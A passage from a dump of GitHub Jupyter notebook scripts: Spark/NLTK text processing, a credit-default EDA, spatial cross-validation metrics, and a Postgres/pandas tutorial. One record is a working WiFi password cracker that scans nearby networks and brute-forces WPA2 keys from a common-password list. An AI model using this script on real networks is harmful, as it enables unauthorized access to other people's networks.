SparkSession\nfrom pyspark.sql.types import *\nfrom pyspark.sql.functions import col, lit, countDistinct\nimport nltk\n\n# ### Connecting to Spark cluster\n\n# Entry point for working with RDD\nsc = SparkContext(appName = \"analisysData\")\n\nses = SparkSession.builder\\\n .master(\"localhost\")\\\n .appName(\"analisysData\")\\\n .getOrCreate()\n\n# ### File operations\n\nrdd_text = sc.textFile(\"Data//poem.txt\")\n\n\n# ### MapReduce over RDD process\n\n# +\n# What if I want to get a flat structure => Use flatMap function\nrdd_text.flatMap(lambda x: x.split(\" \")).collect()\n \nlistToStr = ' '.join(map(str, rdd_txt))\n \nprint(listToStr) \n# -\n\n# ### Use of the library nltk\n\n# +\n#nltk.download('punkt')\n#nltk.download('averaged_perceptron_tagger')\n#usage example parts of speech\n#Nota: como no se logrò comprobar el resultado debido al error, quise implementar este ejemplo que determina el funcionamiento de la libreria\nsentence = \"\"\"Shrouded in golden leaves, we wait.\nThe world doesn’t end at sunset and only dreams\nlimit themselves to things. Through a labyrinth of blank hours\ntime leads us on as autumn falls over our house, our patio.\"\"\"\n\n\n\"\"\"tokens = nltk.word_tokenize(sentence)\ntagged = nltk.pos_tag(tokens)\ntagged[0:6]\"\"\"\n\n#Use of the nltk library based on what is extracted in the reduce map\ntokens = nltk.word_tokenize(listToStr)\ntagged = nltk.pos_tag(tokens)\nprint(tagged) \n","repo_name":"Brayan-Camilo-Cristancho-Franco/Taller1-BigDataAnalytics","sub_path":"analisysData.ipynb","file_name":"analisysData.ipynb","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"37608820349","text":"# importing the libraries\nimport pandas as pd\npd.set_option('display.max_rows', 500)\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n#Read the csv file\ndf=pd.read_csv(\"application_data.csv\")\ndf.head()\n\n\n#Get the shape of dataframe\ndf.shape\n\ndf.info(verbose=True)\n\n#Summarize the numerical columns\ndf.describe()\n\n#Find the sum of null values in each column and sort them in descending order\ndf.isna().sum().sort_values(ascending=False)\n\nx=len(df)/2\nx\n\n#Percentage of the missing value columns\nmissing_df=(df.isna().sum()/len(df))*100\nmissing_df.sort_values(ascending=False)\n\n#Drop the colums having null values having 50%\ndf=df[df.columns[df.isnull().sum() < x]]\ndf.shape\n\n#Display the columns having less than 50% of null values\nmissing_df1=(df.isna().sum()/len(df)*100).sort_values(ascending=False)\nmissing_df1\n\n#Removing the unwanted columns\nunwanted=['FLAG_MOBIL', 'FLAG_EMP_PHONE', 'FLAG_WORK_PHONE', 'FLAG_CONT_MOBILE',\n 'FLAG_PHONE', 'FLAG_EMAIL','REGION_RATING_CLIENT','REGION_RATING_CLIENT_W_CITY','FLAG_EMAIL','CNT_FAM_MEMBERS', 'REGION_RATING_CLIENT',\n 'REGION_RATING_CLIENT_W_CITY','DAYS_LAST_PHONE_CHANGE', 'FLAG_DOCUMENT_2', 'FLAG_DOCUMENT_3','FLAG_DOCUMENT_4', 'FLAG_DOCUMENT_5', 'FLAG_DOCUMENT_6',\n 'FLAG_DOCUMENT_7', 'FLAG_DOCUMENT_8', 'FLAG_DOCUMENT_9','FLAG_DOCUMENT_10', 'FLAG_DOCUMENT_11', 'FLAG_DOCUMENT_12',\n 'FLAG_DOCUMENT_13', 'FLAG_DOCUMENT_14', 'FLAG_DOCUMENT_15','FLAG_DOCUMENT_16', 'FLAG_DOCUMENT_17', 'FLAG_DOCUMENT_18',\n 'FLAG_DOCUMENT_19', 'FLAG_DOCUMENT_20', 'FLAG_DOCUMENT_21']\ndf.drop(labels=unwanted,axis=1,inplace=True)\n\ndf['AMT_GOODS_PRICE']=pd.to_numeric(df['AMT_GOODS_PRICE'],errors='coerce')\ndf['AMT_ANNUITY']=pd.to_numeric(df['AMT_ANNUITY'],errors='coerce')\ndf['AMT_CREDIT']=pd.to_numeric(df['AMT_CREDIT'],errors='coerce')\n\n#Inforamtion about the column in data frame after removing the unwanted columns\ndf.info()\n\n#Imputing Numerical values\ndf.describe().columns\n\n\n#Imputing amount annuity column \ndf['AMT_ANNUITY'].isna().sum()\n\n#Summarize the amount annuity column\ndf['AMT_ANNUITY'].describe()\n\n#Plotting 'AMOUNT ANUUITY' before replacing the mean values\nsns.boxplot(df.AMT_ANNUITY)\nplt.show()\n\n#Replacing the null values with mean\ndf['AMT_ANNUITY'].fillna(df['AMT_ANNUITY'].mean(), inplace=True) \ndf['AMT_ANNUITY'].isna().sum()\n\n\n#Plotting 'AMOUNT ANUUITY' after replacing the mean values\nsns.boxplot(df.AMT_ANNUITY)\nplt.show()\n\n#Summarize AMT_CREDIT COLUMN\ndf['AMT_ANNUITY'].describe()\n\n#HANDLING OUTLIERS FOR AMT_INCOME_TOTAL\nsns.boxplot(df.AMT_CREDIT)\nplt.show()\n\n# +\n#summarize the AMT_GOODS_PRICE\n\ndf['AMT_GOODS_PRICE'].describe()\n# -\n\n#IDENTIFYING OUTLIERS FOR AMT_GOODS PRICE Column\nsns.boxplot(df.AMT_GOODS_PRICE)\nplt.show()\n\n#Retrieving the categorical Columns\nlist(set(df.columns)-set(df.describe().columns))\n\n#Checking for nulla values in 'CODE_GENDER' column\ndf[df['CODE_GENDER']=='XNA'].shape\n\n\n#Find the frequent values in the 'CODE_GENDER' COLUMN\ndf['CODE_GENDER'].value_counts()\n\n# +\n#Replace 'xna'value with most occurred value .\n\ndf['CODE_GENDER']=df['CODE_GENDER'].replace('XNA','F')\n# -\n\n#\ndf['CODE_GENDER'].value_counts()\n\n#summarize the columns\ndf.info()\n\n#Finding the XNA values in'ORGANIZATION_TYPE' column\ndf[df['ORGANIZATION_TYPE']=='XNA'].shape\n\n#Most occuring values in 'ORGANIZATION_TYPE' column\ndf['ORGANIZATION_TYPE'].value_counts()\n\n# +\n\n# Hence, dropping the rows of total 55374 have 'XNA' values in the organization type column\ndf=df.drop(df.loc[df['ORGANIZATION_TYPE']=='XNA'].index)\ndf[df['ORGANIZATION_TYPE']=='XNA'].shape\n# -\n\n#Change the data type of ' AMT_INCOME_TOTAL' column\n#df['AMT_INCOME_TOTAL']=pd.to_numeric(df['AMT_INCOME_TOTAL'],errors='coerce')\n#df['AMT_CREDIT']=pd.to_numeric(df['AMT_CREDIT'],errors='coerce')\nnumeric_columns=['TARGET','CNT_CHILDREN','AMT_INCOME_TOTAL','AMT_CREDIT','AMT_ANNUITY','REGION_POPULATION_RELATIVE','DAYS_BIRTH',\n 'DAYS_EMPLOYED','DAYS_REGISTRATION','DAYS_ID_PUBLISH','HOUR_APPR_PROCESS_START','LIVE_REGION_NOT_WORK_REGION', 'REG_CITY_NOT_LIVE_CITY',\n 'REG_CITY_NOT_WORK_CITY', 'LIVE_CITY_NOT_WORK_CITY']\ndf[numeric_columns]=df[numeric_columns].apply(pd.to_numeric)\ndf.head(5)\n\n#Summarize the' AMT_INCOME_TOTAL' columns\ndf['AMT_INCOME_TOTAL'].value_counts()\n\n#creating bins for 'AMT_INCOME_TOTAL' columns\nincome_bins=[0,25000,50000,75000,100000,125000,150000,175000,200000,225000,250000,275000,300000,325000,350000,375000,400000,425000,450000,475000,500000,10000000000]\nincome_interval=['Below 25000', '25000-50000','50000-75000','75000,100000','100000-125000', '125000-150000', '150000-175000','175000-200000',\n '200000-225000','225000-250000','250000-275000','275000-300000','300000-325000','325000-350000','350000-375000',\n '375000-400000','400000-425000','425000-450000','450000-475000','475000-500000','500000 and above']\ndf['AMT_INCOME_RANGE']=pd.cut(df['AMT_INCOME_TOTAL'],income_bins,labels=income_interval)\ndf\n\n#Summarize the' AMT_CREDIT' columns\ndf['AMT_CREDIT'].value_counts()\n\n# +\n#Binning the 'AMT_CREDIT' Column\nCredit_bins = [0,150000,200000,250000,300000,350000,400000,450000,500000,550000,600000,650000,700000,750000,800000,850000,900000,1000000000]\nCredit_interval = ['Below 150000', '150000-200000','200000-250000', '250000-300000', '300000-350000', '350000-400000','400000-450000',\n '450000-500000','500000-550000','550000-600000','600000-650000','650000-700000','700000-750000','750000-800000',\n '800000-850000','850000-900000','900000 and above']\n\ndf['AMT_CREDIT_RANGE']=pd.cut(df['AMT_CREDIT'],bins=Credit_bins,labels=Credit_interval)\ndf.head()\n\n# +\n#Creating 2 data frames for the 'Target' Column\ndf_1=df[df['TARGET']==1] #df_1 is the data frame for loan defaulters\n\ndf_0=df[df['TARGET']==0] #df_1 is the data frame for loan non-defaulters\n\n# -\n\n#Univariate analysis with continous varible\nsns.distplot(df_1['AMT_GOODS_PRICE'],hist=False,label='Defaulters')\nsns.distplot(df_0['AMT_GOODS_PRICE'],hist=False,label='Non-Defaulters')\n\n#Univariate analysis with continous varible\nsns.distplot(df_1['AMT_CREDIT'],hist=False,label='Defaulters')\nsns.distplot(df_0['AMT_CREDIT'],hist=False,label='Non-Defaulters')\n\n#Univariate analysis with continous varible\nplt.hist(df_1['AMT_INCOME_TOTAL'],bins=5,label='Defaulters')\nplt.hist(df_0['AMT_INCOME_TOTAL'],bins=5,label='Non-Defaulters')\n\ndf_0.describe()\n\n# +\n## Univariate - Categorical - Contract type\n\nplt.figure(figsize=(10,5))\n\nplt.subplot(1,2,1)\nplt.title('Defaulters')\nsns.countplot(x='NAME_CONTRACT_TYPE',data=df_1)\n\nplt.subplot(1,2,2)\nplt.title('Non-Defaulters')\nsns.countplot(x='NAME_CONTRACT_TYPE',data=df_0)\n\n\nplt.show()\n\n# +\n#Segmented univariate analysis \n#Comparing NON DEFAULTERS and NAME_INCOME_TYPE\n\nsns.countplot(x='NAME_INCOME_TYPE',data=df_0)\nplt.xticks(rotation=90)\n# -\n\n#Segmented univariate analysis \n#Comparing DEFAULTERS and NAME_INCOME_TYPE\nsns.countplot(x='NAME_INCOME_TYPE',data=df_1)\nplt.xticks(rotation=90)\n\n# +\n\n#Segmented univariate analysis \n#Comparing NON-DEFAULTERS and OCCUPATION_TYPE\nsns.countplot(x='OCCUPATION_TYPE',data=df_0)\nplt.xticks(rotation=90)\n# -\n\n#Segmented univariate analysis \n#Comparing DEFAULTERS and OCCUPATION_TYPE\nsns.countplot(x='OCCUPATION_TYPE',data=df_1)\nplt.xticks(rotation=90)\n\n# +\n#Segmented univariate analysis \n#Comparing NON-DEFAULTERS and NAME_FAMILY_STATUS\n\nsns.countplot(x='NAME_FAMILY_STATUS',data=df_0)\nplt.xticks(rotation=90)\n\n# +\n#Segmented univariate analysis \n#Comparing DEFAULTERS and NAME_FAMILY_STATUS\n\nsns.countplot(x='NAME_FAMILY_STATUS',data=df_1)\nplt.xticks(rotation=90)\n\n# +\n#Segmented univariate analysis \n#Comparing DEFAULTERS and NAME_EDUCATION\n\nsns.countplot(x='NAME_EDUCATION_TYPE',data=df_0)\nplt.xticks(rotation=90)\n\n# +\n#Segmented univariate analysis \n#Comparing DEFAULTERS and NAME_EDUCATION\n\nsns.countplot(x='NAME_EDUCATION_TYPE',data=df_1)\nplt.xticks(rotation=90)\n# -\n\n#Finding Correaltion for non defaulters\ndf_0[['OBS_60_CNT_SOCIAL_CIRCLE','DEF_30_CNT_SOCIAL_CIRCLE','FLOORSMAX_MEDI','FLOORSMAX_AVG','AMT_CREDIT','REGION_POPULATION_RELATIVE']].corr()\n\n#Correlation for NON-DEAFULTERS\nsns.heatmap(df_0[['OBS_60_CNT_SOCIAL_CIRCLE','DEF_30_CNT_SOCIAL_CIRCLE','FLOORSMAX_MEDI','AMT_GOODS_PRICE','FLOORSMAX_AVG','AMT_CREDIT','REGION_POPULATION_RELATIVE']].corr(),annot=True,cmap=\"Greens\")\n\n\n#Finding the correlation values for defaulters\ndf_1[['OBS_60_CNT_SOCIAL_CIRCLE','DEF_30_CNT_SOCIAL_CIRCLE','FLOORSMAX_MEDI','FLOORSMAX_AVG','AMT_GOODS_PRICE','AMT_CREDIT','REGION_POPULATION_RELATIVE']].corr()\n\n#Correlation for DEAFULTERS\nsns.heatmap(df_0[['OBS_60_CNT_SOCIAL_CIRCLE','DEF_30_CNT_SOCIAL_CIRCLE','FLOORSMAX_MEDI','AMT_GOODS_PRICE','FLOORSMAX_AVG','AMT_CREDIT','REGION_POPULATION_RELATIVE']].corr(),annot=True,cmap=\"Greens\")\n\n\n# +\n#Bivariate Analysis\n#Bivariate analysis for numeric-numeric data(I.E) AMT_CREDIT and AMT_ANNUITY\nplt.figure(figsize=(10, 5))\nplt.subplot(1,2,1)\nplt.title('AMOUNT_ANNUITY VS AMOUNT_CREDIT')\nplt.scatter(df_0['AMT_CREDIT'],df_0['AMT_ANNUITY'],c='Blue',label='DEFAULTERS')\nplt.scatter(df_1['AMT_CREDIT'],df_1['AMT_ANNUITY'],c='Yellow',label='NON-DEFAULTERS')\nplt.xlabel(\"AMT_ANNUITY\", fontdict={'fontsize': 12, 'fontweight' : 5, 'color' : 'Brown'})\nplt.ylabel(\"AMT_CREDIT\", fontdict={'fontsize': 12, 'fontweight' : 5, 'color' : 'Brown'})\nplt.legend()\n\nplt.show()\n\n\n\n# +\n#Bivariate Analysis\n#Bivariate analysis for numeric-numeric data(I.E) AMT_CREDIT and AMT_GOODS_PRICE\nplt.figure(figsize=(10, 5))\nplt.subplot(1,2,1)\nplt.title('AMOUNT_CREDIT VS AMT_GOODS_PRICE' )\nplt.scatter(df_0['AMT_CREDIT'],df_0['AMT_GOODS_PRICE'],c='Blue',label='DEFAULTERS')\nplt.scatter(df_1['AMT_CREDIT'],df_1['AMT_GOODS_PRICE'],c='Yellow',label='NON-DEFAULTERS')\nplt.xlabel(\"AMT_CREDIT\", fontdict={'fontsize': 12, 'fontweight' : 5, 'color' : 'Brown'})\nplt.ylabel(\"AMT_GOODS_PRICE\", fontdict={'fontsize': 12, 'fontweight' : 5, 'color' : 'Brown'})\nplt.legend()\n\nplt.show()\n\n\n# -\n\n#READING THE PREVIOUS_APPLICATION.csv FILE\nprevious_appl=pd.read_csv(\"previous_application.csv\")\nprevious_appl.head()\n\n#Summarize the columns\nprevious_appl.info(verbose=True)\n\n#Removing 50% of data\ny=len(previous_appl)/2\ny\n\nremove_cols=previous_appl.isnull().sum()\nremove_cols=remove_cols[remove_cols.values>(0.5*len(remove_cols))]\nlen(remove_cols)\n\n# +\n#Drop the columns having more tha 50% null values\nremove_cols = list(remove_cols[remove_cols.values>=0.3].index)\nprevious_appl.drop(labels=remove_cols,axis=1,inplace=True)\n\nprevious_appl.shape\n# -\n\n#Finding null values for columns\nprevious_appl.isnull().sum()\n\n#Finding the Not available values and dropping those rows\nprevious_appl=previous_appl.drop(previous_appl[previous_appl['NAME_CASH_LOAN_PURPOSE']=='XNA'].index)\nprevious_appl=previous_appl.drop(previous_appl[previous_appl['NAME_CASH_LOAN_PURPOSE']=='XAP'].index)\nprevious_appl.shape\n\n# Merge the Application dataset with previous appliaction dataset\nFinal_df=pd.merge(left=df,right=previous_appl,how='inner',on='SK_ID_CURR',suffixes='_x')\nFinal_df.head()\n\n#Renaming the dataframe\nFinal_df = Final_df.rename({'NAME_CONTRACT_TYPE_' : 'NAME_CONTRACT_TYPE','AMT_CREDIT_':'AMT_CREDIT','AMT_ANNUITY_':'AMT_ANNUITY',\n 'WEEKDAY_APPR_PROCESS_START_' : 'WEEKDAY_APPR_PROCESS_START',\n 'HOUR_APPR_PROCESS_START_':'HOUR_APPR_PROCESS_START','NAME_CONTRACT_TYPEx':'NAME_CONTRACT_TYPE_PREV',\n 'AMT_CREDITx':'AMT_CREDIT_PREV','AMT_ANNUITYx':'AMT_ANNUITY_PREV',\n 'WEEKDAY_APPR_PROCESS_STARTx':'WEEKDAY_APPR_PROCESS_START_PREV',\n 'HOUR_APPR_PROCESS_STARTx':'HOUR_APPR_PROCESS_START_PREV'}, axis=1)\nFinal_df.head()\n\n#Drop the unwanted columns\nFinal_df.drop(['SK_ID_CURR','WEEKDAY_APPR_PROCESS_START', 'HOUR_APPR_PROCESS_START','REG_REGION_NOT_LIVE_REGION', \n 'REG_REGION_NOT_WORK_REGION','LIVE_REGION_NOT_WORK_REGION', 'REG_CITY_NOT_LIVE_CITY',\n 'REG_CITY_NOT_WORK_CITY', 'LIVE_CITY_NOT_WORK_CITY','WEEKDAY_APPR_PROCESS_START_PREV',\n 'HOUR_APPR_PROCESS_START_PREV', 'FLAG_LAST_APPL_PER_CONTRACT','NFLAG_LAST_APPL_IN_DAY'],axis=1,inplace=True)\n\n\nFinal_df.shape\n\n# +\nFinal_df_1=Final_df[Final_df['TARGET']==1] #Final_df_1 is the data frame for loan defaulters\n\nFinal_df_0=Final_df[Final_df['TARGET']==0] #Final_df_0 is the data frame for loan non-defaulters\n\n# +\n#Univariate Analysis for Defaulters with respect to NAME_CONTRACT_STATUS\nplt.figure(figsize=(10,5))\n\nplt.subplot(1,2,1)\nplt.title('Defaulters')\nsns.countplot(x='NAME_CONTRACT_STATUS',data=Final_df_1)\n\nplt.subplot(1,2,2)\nplt.title('Non-Defaulters')\nsns.countplot(x='NAME_CONTRACT_STATUS',data=Final_df_0)\n\n\n# +\n#Univariate Analysia for AMT_APPLICATION with respect to defaulters and non defaulters\nplt.figure(figsize=(10,5))\nplt.subplot(1,2,1)\nplt.title('Defaulters')\nsns.countplot(x='NAME_CONTRACT_TYPE',data=Final_df_1)\nplt.xticks(rotation=90)\n\nplt.subplot(1,2,2)\nplt.title('Non-Defaulters')\nsns.countplot(x='NAME_CONTRACT_TYPE',data=Final_df_0)\nplt.xticks(rotation=90)\n\n\n# +\n#Bivariate analysis between Amount credit and amount goods price\nplt.figure(figsize=(10, 5))\nplt.subplot(1,2,1)\nplt.title('AMOUNT_CREDIT VS AMT_APPLICATION' )\nplt.scatter(Final_df_0['AMT_CREDIT'],Final_df_0['AMT_APPLICATION'],c='Blue',label='DEFAULTERS')\nplt.scatter(Final_df_1['AMT_CREDIT'],Final_df_1['AMT_APPLICATION'],c='Yellow',label='NON-DEFAULTERS')\nplt.xlabel(\"AMT_CREDIT\", fontdict={'fontsize': 12, 'fontweight' : 5, 'color' : 'Brown'})\nplt.ylabel(\"AMT_GOODS_PRICE\", fontdict={'fontsize': 12, 'fontweight' : 5, 'color' : 'Brown'})\nplt.legend()\n\nplt.show()\n\n\n\n# +\n#Bivariate analysis between Amount application and Amount annuity\nplt.figure(figsize=(10, 5))\nplt.subplot(1,2,1)\nplt.title('AMOUNT_APPLICATION VS AMOUNT_ANNUITY' )\nplt.scatter(Final_df_0['AMT_APPLICATION'],Final_df_0['AMT_ANNUITY'],c='Blue',label='DEFAULTERS')\nplt.scatter(Final_df_1['AMT_APPLICATION'],Final_df_1['AMT_ANNUITY'],c='Yellow',label='NON-DEFAULTERS')\nplt.xlabel(\"AMT_APPLICATION\", fontdict={'fontsize': 12, 'fontweight' : 5, 'color' : 'Brown'})\nplt.ylabel(\"AMT_ANNUITY\", fontdict={'fontsize': 12, 'fontweight' : 5, 'color' : 'Brown'})\nplt.legend()\n\nplt.show()\n\n\n# +\n#Bivariate analysis for code_gender and loan status\nplt.figure(figsize=(10,5))\nplt.subplot(1,2,1)\nplt.title('Defaulters')\nsns.countplot(x='CODE_GENDER',data=Final_df_1)\n\nplt.subplot(1,2,2)\nplt.title('Non-Defaulters')\nsns.countplot(x='CODE_GENDER',data=Final_df_0)\n\n# -\n\n\n\n\n","repo_name":"akshada31joshi/CREDIT-EXPLORARTORY-DATA-ANALYSIS","sub_path":"EDA_CASESTUDY_ORIGINAL.ipynb","file_name":"EDA_CASESTUDY_ORIGINAL.ipynb","file_ext":"py","file_size_in_byte":14390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"42131652024","text":"# + slideshow={\"slide_type\": \"-\"}\n# #!pip install comtypes\n# #!pip install pywifi\n\nimport time\nimport pywifi\nfrom IPython.display import display, HTML\nfrom pywifi import const\n# -\n\navailable_devices = []\nkeys = []\nfinal_output = {}\n\n# +\n#### Get interface information\n##### In general, there will be only one Wi-Fi interface in the platform. Thus, use index 0 to obtain the Wi-Fi interface. \n### Get the name of the Wi-Fi interface.\n# -\n\nwifi = pywifi.PyWiFi()\ninterface = wifi.interfaces()[0]\n\ndisplay(HTML('

{}

'.format(interface.name())))\n#print(interface.name())\n\ndisplay(HTML(\"

Now let's scan the network.

\"))\n\ninterface.scan()\n#It is safer to call scan_results() 2 ~ 8 seconds later after calling scan()\n#Because the scan time can be different for each Wi-Fi interface provider. \ntime.sleep(5) \n### Obtain the results of the previous triggerred scan. A Profile list will be returned.\nx = interface.scan_results()\n\ndisplay(HTML(\"

Let's See All Network Profiles

\"))\n\navailable_devices = []\nfor i in x:\n available_devices.append(i.ssid)\nhtml = ''.format('#','SSID')\nc=0\nfor i in available_devices:\n c+=1\n html+=''.format(c,i)\nhtml+='
{}{}
{}{}
'\ndisplay(HTML(html))\n\ndisplay(HTML(\"

Let's See Check for open network around us.

\"))\n\nfor i in available_devices:\n nm = i\n try:\n i=i.strip()\n profile = pywifi.Profile()\n profile.ssid = i\n profile.auth = const.AUTH_ALG_OPEN\n profile.akm.append(const.AKM_TYPE_NONE)\n wifi = pywifi.PyWiFi()\n iface = wifi.interfaces()[0]\n iface.remove_all_network_profiles()\n profile = iface.add_network_profile(profile)\n iface.connect(profile)\n time.sleep(4)\n print(\"Trying to Connect to SSID : \",i)\n if iface.status() == const.IFACE_CONNECTED:\n print('success password of the network',i,' is',\"none\")\n final_output[i] = \"\"\n available_devices.remove(nm)\n except Exception as e:\n print(e)\n\nwith open('top400.txt','r') as f:\n for i in f:\n i = i.replace('\\n','')\n if i not in keys:\n keys.append(i)\n\nprint(keys)\n\ntry:\n for i in available_devices:\n profile = pywifi.Profile()\n i=i.strip()\n profile.ssid = i\n profile.auth = const.AUTH_ALG_OPEN\n profile.akm.append(const.AKM_TYPE_WPA2PSK)\n profile.cipher = const.CIPHER_TYPE_CCMP\n flag=0\n for j in keys:\n j=j.strip()\n profile.key = j\n wifi = pywifi.PyWiFi()\n iface = wifi.interfaces()[0]\n iface.remove_all_network_profiles()\n profile = iface.add_network_profile(profile)\n\n iface.connect(profile)\n time.sleep(4)\n if iface.status() == const.IFACE_CONNECTED:\n print('success password of the network',i,' is',j)\n final_output[i] = j\n flag=1\n break\nexcept Exception as e:\n print(e)\n #if flag == 0:\n #print('sorry we are not able to CRACK PASSWORD of',i)\n\nprint('*'*10,'Discovered Password','*'*10)\nprint(\"{0:<18} {1:<12}\".format(\"HOST NAME\",\"PASSWORD\"))\nfor SSID,Key in final_output.items():\n print (\"{:<19}{:<5}\".format(SSID, Key))\navailable_devices.clear()\n\n\n","repo_name":"IRB0T/python-wifi-password-cracking","sub_path":"wifi_crack_updated.ipynb","file_name":"wifi_crack_updated.ipynb","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"32286068926","text":"from os.path import join\nfrom os import mkdir\nimport pandas as pd\nfrom tqdm import tqdm\nimport shutil\nfrom src import utils\n\n\n# +\n# Project path\nproject_dir = os.path.abspath('')[:-9]\n# Load enviromental variables\n\nenv_var = utils.load_env_variables(project_dir)\nenv_var[\"root_path\"] = \"/home/tpinho/IJGIS/Datasets/Brazil_Election_2018\"\n# -\n\ndataset = \"Original\"\nscv = \"RBuffer\"\nfs_methods = [f for f in os.listdir(os.path.join(env_var[\"root_path\"], dataset, \"results\", scv, \"evaluations\"))]\nfs_methods.remove(\"LatLon\")\nfs_methods.remove(\"XCFS_Local_Meta_All_OLS_Error\")\nfs_methods = [\"CFS\", \"CFS_Local_Mean_All\", \"CFS_Local_Mean_K7\", \"CFS_Local_Meta_All_OLS\", \"CFS_Local_Meta_K7_OLS\"]\nrename_col = {\"CFS\": \"Global\",\n \"CFS_Local_Mean_All\": \"Local Mean K=All\",\n \"CFS_Local_Mean_K7\": \"Local Mean K=7\",\n \"CFS_Local_Meta_All_OLS\": \"Local Meta K=All\",\n \"CFS_Local_Meta_K7_OLS\": \"Local Meta K=7\"}\n\n\n# +\nml_methods = [\"KNN\", \"OLS\", \"Lasso\", \"Ridge\", \"ElasticNet\", \"DT\", \"LGBM\", \"MLP\", \"SVM\"]\nmean_rank = {\"Methods\": [],\n \"Global\": [],\n \"Local Mean K=All\": [],\n \"Local Mean K=7\": [],\n \"Local Meta K=All\": [],\n \"Local Meta K=7\": []\n }\nmean_sp_rank = {\"Methods\": [],\n \"Global\": [],\n \"Local Mean K=All\": [],\n \"Local Mean K=7\": [],\n \"Local Meta K=All\": [],\n \"Local Meta K=7\": []\n }\n\nmean_stde_rank = {\"Methods\": [],\n \"Global\": [],\n \"Local Mean K=All\": [],\n \"Local Mean K=7\": [],\n \"Local Meta K=All\": [],\n \"Local Meta K=7\": []\n }\n\nmean_mse = {\"Methods\": [],\n \"Global\": [],\n \"Local Mean K=All\": [],\n \"Local Mean K=7\": [],\n \"Local Meta K=All\": [],\n \"Local Meta K=7\": []\n }\nfor ml_method in tqdm(ml_methods):\n results = pd.DataFrame()\n results_sp = pd.DataFrame()\n results_stde = pd.DataFrame()\n for fs_method in fs_methods:\n metrics = pd.read_csv(os.path.join(env_var[\"root_path\"], dataset, \"results\", scv, \"evaluations\", fs_method, ml_method, \"metrics_with_sp.csv\"))\n metrics.set_index(\"FOLD\", inplace=True)\n results[fs_method] = metrics[\"RMSE\"]\n \n results_sp[fs_method] = metrics[\"SPEARMAN\"]\n results_stde[fs_method] = metrics[\"STDE\"]\n \n results.rename(rename_col, axis=1, inplace=True)\n results.to_csv(os.path.join(env_var[\"root_path\"], dataset, \"comparison_by_fold\", f\"{ml_method}_MSE.csv\"))\n results_rank = results.rank(axis=1)\n results_rank.to_csv(os.path.join(env_var[\"root_path\"], dataset, \"comparison_by_fold\", f\"{ml_method}_RANK.csv\"))\n \n results_sp.rename(rename_col, axis=1, inplace=True)\n results_sp.to_csv(os.path.join(env_var[\"root_path\"], dataset, \"comparison_by_fold\", f\"{ml_method}_SPEARMAN.csv\"))\n results_sp_rank = results_sp.rank(axis=1, ascending=False)\n results_sp_rank.to_csv(os.path.join(env_var[\"root_path\"], dataset, \"comparison_by_fold\", f\"{ml_method}_SP_RANK.csv\"))\n \n results_stde.rename(rename_col, axis=1, inplace=True)\n results_stde.to_csv(os.path.join(env_var[\"root_path\"], dataset, \"comparison_by_fold\", f\"{ml_method}_STDE.csv\"))\n \n \n mean_mse[\"Methods\"].append(ml_method)\n results.drop(index=[12, 14], inplace=True)\n for col in results.columns:\n mean_mse[col].append(results[col].mean())\n \n mean_rank[\"Methods\"].append(ml_method)\n for col in results.columns:\n mean_rank[col].append(results_rank[col].mean())\n \n mean_sp_rank[\"Methods\"].append(ml_method)\n for col in results_sp.columns:\n mean_sp_rank[col].append(results_sp_rank[col].mean())\n results_stde.drop(index=[12, 14], inplace=True)\n mean_stde_rank[\"Methods\"].append(ml_method)\n for col in results_stde.columns:\n mean_stde_rank[col].append(results_stde[col].mean())\n\npd.DataFrame(mean_rank).to_csv(os.path.join(env_var[\"root_path\"], dataset, \"comparison\", \"RANK_BY_FOLDS.csv\"), index=False)\npd.DataFrame(mean_sp_rank).to_csv(os.path.join(env_var[\"root_path\"], dataset, \"comparison\", \"SP_RANK_BY_FOLDS.csv\"), index=False)\npd.DataFrame(mean_stde_rank).to_csv(os.path.join(env_var[\"root_path\"], dataset, \"comparison\", \"STDE.csv\"), index=False)\npd.DataFrame(mean_mse).to_csv(os.path.join(env_var[\"root_path\"], dataset, \"comparison\", \"MSE.csv\"), index=False)\n\n\n","repo_name":"tpinhoda/Graph-Based_Spatial_Cross_Validation","sub_path":"notebooks/evaluation/6_Generate_Error_By_Folds.ipynb","file_name":"6_Generate_Error_By_Folds.ipynb","file_ext":"py","file_size_in_byte":4440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"33725025428","text":"# !pip install psycopg2-binary\n\nimport psycopg2\n\n# !pip install python-dotenv\n\nfrom dotenv import load_dotenv\nimport os\nload_dotenv()\nprint(os.environ.get('username'))\n\nconn = psycopg2.connect(\n host=os.getenv('host'),\n port=5432,\n database='retail_db',\n user=os.getenv('username'),\n password=os.getenv('password')\n)\n\ncur = conn.cursor()\n\ncur.execute('SELECT * FROM orders limit 10')\n\ncur.fetchall()\n\ncur.execute('''\n SELECT order_status,\n count(1) AS order_count\n FROM orders\n GROUP BY 1\n ORDER BY 2 DESC\n''')\ncur.fetchall()\n\n# ### Postgres with Pandas\n\n# !pip install sqlalchemy\n\nimport pandas as pd\n\ncolumn = ['order_id', 'order_date', 'order_customer_id', 'order_status']\n\norders = pd.read_csv('../../data/retail_db/orders/part-00000', names=column)\norders.head()\n\nimport json\n\nschemas = json.load(open('../../data/retail_db/schemas.json'))\n\nsorted(schemas['orders'], key=lambda col:col['column_position'])\n\ncolumns = [col['column_name'] for col in sorted(schemas['orders'], key=lambda col:col['column_position'])]\ncolumns\n\norders = pd.read_csv('../../data/retail_db/orders/part-00000', names=columns)\norders.head()\n\ntype(orders)\n\norders\n\norders.shape\n\norders.groupby(['order_date', 'order_status'])['order_id'].count()\n\ndaily_status_count = orders.groupby(['order_date', 'order_status'])['order_id']. \\\n agg(order_count='count'). \\\n reset_index()\n\ndaily_status_count\n\n# +\n# daily_status_count.to_sql?\n# -\n\nhost=os.getenv('host')\nport=os.getenv('port')\ndatabase='retail_db'\nuser=os.getenv('username')\npassword=os.getenv('password')\n\nconn_uri = f'postgresql://{user}:{password}@{host}:{port}/{database}'\n\ndaily_status_count.to_sql(\n 'daily_status_count',\n conn_uri,\n if_exists='replace',\n index=False\n)\n\n# +\n# pd.read_sql?\n# -\n\ndsc = pd.read_sql(\n 'daily_status_count',\n 